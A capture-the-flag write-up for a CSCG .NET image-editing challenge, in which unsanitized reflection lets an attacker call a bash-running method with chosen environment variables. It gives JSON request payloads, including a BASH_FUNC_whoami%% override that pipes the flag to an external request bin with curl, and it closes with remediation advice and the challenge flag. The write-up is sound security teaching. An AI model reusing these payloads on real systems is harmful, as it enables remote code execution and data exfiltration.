- Challenge Setup: .NET
web application written in C#
allowing image uploads
- Key Discoveries: Image manipulation is done by dynamically calling functions
- Vulnerability: Unsanitized user input is used to dynamically call functions
- Exploitation: Calling GetUsername
method allows us to set arbitrary env vars and thus overwriting the functionality of arbitrary commands e.g. via BASH_FUNC_whoami%%
This challenge was about some interesting dynamic implementation to process user generated input calling appropriate functions in the application:
Recently I learned ASP .NET Core and boy, it's so magic!
Dependency injection, dynamic routing, interfaces everywhere.
But: For me, it wasn't dynamic enough.
So I extended the framework and now I got all the dynamic in the world I could wish for.
That surely didn't introduce any vulnerabilities, right?
Looking around on the webpage you have access to, you can play around uploading some pictures and editing these with special options.
Uploading pictures is usually very interesting by giving a nice attack surface. But having a look at the C# code you realize the picture is never uploaded as a file to the server. It is just getting cached in the memory and there being modified directly. Looking through the source files one of them looks very interesting. One of the controllers is executing some bash command with arbitrarily set environment variables. This might be useful later, although just being able to execute whoami
doesnβt seem that interesting at first...
public String GetUsername(Dictionary<String,String> env) {
Process process = new Process();
process.StartInfo.FileName = "bash";
process.StartInfo.Arguments = "-c 'whoami'";
foreach (var kv in evn)
{
process.StartInfo.EnvironmentVariables[kv.Key] = kv.Value;
}
process.StartInfo.UseShellExecute = false;
process.StartInfo.RedirectStandardOutput = true;
process.StartInfo.RedirectStandardError = true;
process.Start();
string output = process.StandardOutput.ReadToEnd();
Console.WriteLine(output);
string err = process.StandardError.ReadToEnd();
Console.WriteLine(err);
process.WaitForExit();
return output + err;
}
By having a closer look at the rest of your code the DynamicPhotoEditorController
seems very interesting. This controller defines the editing process of the image. The chosen editing action is part of the request and is being processed in an interesting way.
var actionMethod = this.GetType().GetMethod(photoTransferRequestModel.DynamicAction);
After some deserialization of the given request parameters the given action method is called with the request parameters.
var transformedImage = (Image)actionMethod.Invoke(this, editParams);
Definitely a way to make your application very dynamic β but also very vulnerable... These lines of code just takes the DynamicAction
request parameter, maps it to an arbitrary method of the controller, and executes it. For example, rotating the image is done with the following request parameters:
{
"DynamicAction":"RotateImage",
"Parameters":"[90]",
"Types":null
}
At first, it seems like there are no interesting functions to call but taking a closer look at the code you realize the DynamicPhotoEditorController
is inheriting from the BaseAPIController
which implements the GetUsername
function. So maybe you can call this one and make the application execute whoami
? The given DynamicAction
is not being sanitized and validated by the server. By setting DynamicAction
to GetUsername
you get:
{
"base64Blob":null,
"error": "Object of type 'System.Int64' cannot be converted to type 'System.Collections.Generic.Dictionary`2[System.String,System.String]'."
}
Although it is just throwing an error hinting some issues with converting some types, this seems promising. It seems like it is having problems calling the GetUsername
function because the parameter got the wrong type. There is an example usage of the GetUsername
function in the HealthController
. By setting the Types
field to System.Collections.Generic.Dictionary'2[System.String,System.String]
and the Parameters
field for the environment variables correctly:
{
"DynamicAction":"GetUsername",
"Parameters":"[{\"PATH\":\"/usr/bin\"}]",
"Types":[
"System.Collections.Generic.Dictionary`2[System.String,System.String]"
]
}
you unfortunately get another error:
{
"base64Blob":null,
"error":"Unable to cast object of type 'System.String' to type 'SixLabors.ImageSharp.Image'."
}
But having another look on the code it seems like the whoami
command must have been executed. This error must be part of the editor controller. Right after calling the action method, the result is converted to Image
.
var transformedImage = (Image)actionMethod.Invoke(this, editParams);
But what now?
Only being able to execute some hard-coded commands like whoami
and being able to set the environment variables canβt be enough for RCE right? But indeed it is enough! After searching for some weird bash environment variables I found something interesting. By setting BASH_FUNC_whoami%%=() { id; }
you could override the behavior of the whoami
command executing for example the id
command. By setting the request parameters like following:
{
"DynamicAction":"GetUsername",
"Parameters":"[{\"BASH_FUNC_whoami%%\":\"() { curl -d @flag https://...pipedream.net; }\"}]",
"Types":[
"System.Collections.Generic.Dictionary`2[System.String,System.String]"
]
}
you can extract the flag to your request bin
There are some other solutions with different bash environment variables like BASH_ENV
and LD_PRELOAD
.
This is clearly a problem of the implementation. At least some input sanitization and validation of the DynamicAction
parameter should have been added like limiting the allowed character, length etc. But input validation should never be the only security measurement. With some weird edge cases an attacker could still bypass it. Another option would be some kind of static mapping from parameter to function. Moreover executing shell commands via the code is a bad idea. There are most of the time safe built-in functions in C# doing the same job. Also setting the environment variables dynamically can lead to security issues as already described. Setting the environment variables should be part of the deployment e.g. in a docker container and not part of the code.
CSCG{AppSec_Chall3nge_disguised_as_W3b_sorry:)}